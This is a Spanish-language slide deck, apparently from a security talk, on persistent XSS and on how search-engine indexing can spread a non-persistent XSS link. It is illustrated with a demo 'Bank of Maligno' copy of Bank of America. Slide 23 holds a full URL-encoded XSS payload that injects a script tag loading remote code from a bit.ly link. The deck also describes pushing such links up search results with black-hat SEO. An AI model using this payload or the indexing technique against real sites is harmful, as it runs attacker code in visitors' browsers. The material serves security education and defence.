El documento describe los ataques XSS persistentes, que inyectan código malicioso en la base de datos de una aplicación para que permanezca allí. Explica cómo los buscadores como Google pueden indexar y distribuir estas vulnerabilidades a través de enlaces, haciéndolas efectivamente persistentes. Como ejemplo, describe un ataque XSS no persistente en un sitio falso de Bank of America que fue indexado por Google y Bing, lo que permitió su distribución a una gran audiencia.
10. XSS Persistentes
Se inyectan en el repositorio de datos de la
aplicación
Bases de datos
Correos Web
Tienen cierto nivel de complejidad
Tienen que ocultarse a los ojos de los
administradores
Están en los datos
Pueden tener consecuencias inesperadas
22. Conclusión
Se puede dar de alta una URL con un XSS no
persistente
Servicio de alta de URLs
Enlazado en una web indexada
Se puede posicionar con técnicas Black SEO
23. Bank Of Maligno
Web «copia» de Bank of América
XSS No Persistente en search.aspx
URL de ataque:
http://bankofmaligno.informatica64.com/search.aspx?S=
%22%68%6F%6C%61%3C%73%63%72%69%70%74%
20%66%6F%72%3D%77%69%6E%64%6F%77%20%65
%76%65%6E%74%3D%6F%6E%6C%6F%61%64%20%
73%72%63%3D%22%68%74%74%70%3A%2F%2F%62
%69%74%2E%6C%79%2F%64%63%73%65%4E%49%
22%3E%3C%2F%73%63%72%69%70%74%3E
Dada de alta en Google & Bing manualmente
Dada de alta en Blog «Un informático en el lado del
mal»
27. Conclusiones
No hay filtrado de URLs
Ataques SQL Injection
Ataques XSS
Indexar un XSS en Google (u otro buscador) es
convertirlo en un % Persistente
Protección SEO + Protección robots.txt